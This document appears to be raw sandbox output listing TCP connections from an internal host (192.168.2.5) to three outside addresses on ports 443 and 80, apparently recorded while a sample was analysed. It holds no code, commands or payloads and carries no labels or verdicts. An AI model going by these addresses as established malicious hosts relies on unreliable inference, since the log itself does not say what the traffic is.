Source: global traffic	TCP traffic: 192.168.2.5:49726 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:49726 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:49726 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:49726 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:49726 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:49730 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:49730 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:49730 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:49730 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:49730 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:49730 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:49733 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:49733 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:49733 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:49733 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:49733 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:49733 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53582 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53582 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53582 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53582 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53582 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53582 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53591 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53591 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53591 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53591 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53591 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53591 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53604 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53604 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53604 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53604 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53604 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53604 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53612 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53612 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53612 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53612 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53612 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53612 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53624 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53624 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53624 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53624 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53624 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53624 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53636 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53636 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53636 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53637 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53637 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53637 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53636 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53636 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53636 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53636 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53637 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53636 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53636 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53637 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53637 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53643 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.5:53643 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.5:53643 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.5:53644 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53644 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53644 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53643 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.5:53643 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.5:53643 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.5:53644 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53644 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53644 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53643 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.5:53643 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.5:53657 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53657 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53657 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53657 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53657 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53657 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53667 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53667 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53667 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53667 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53667 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53667 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53677 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53677 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53677 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53677 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53677 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53677 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53689 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53689 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53689 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53689 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53689 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53689 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53696 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53696 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53696 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53696 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53696 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53696 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53696 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53696 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53696 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53701 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53701 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53701 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53705 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53705 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53705 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53701 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53701 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53701 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53705 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53705 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53705 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53716 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53716 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53716 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53718 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53718 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53718 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53716 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53716 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53716 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53718 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53718 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53718 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53730 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53730 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53730 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53731 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53731 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53731 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53730 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53730 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53730 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53734 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.5:53734 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.5:53734 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.5:53731 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53731 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53731 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53734 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.5:53734 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.5:53734 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.5:53734 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.5:53734 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.5:53744 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53744 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53744 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53744 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53744 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53744 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53756 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53756 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53756 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53756 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53756 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53756 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53765 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53765 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53765 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53765 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53765 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53765 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53779 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53779 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53779 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53779 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53779 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53779 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53788 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53788 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53788 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53788 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53788 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53788 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53795 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.5:53795 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.5:53795 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.5:53795 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.5:53795 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.5:53795 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.5:53795 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.5:53795 -> 149.154.167.220:443

Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
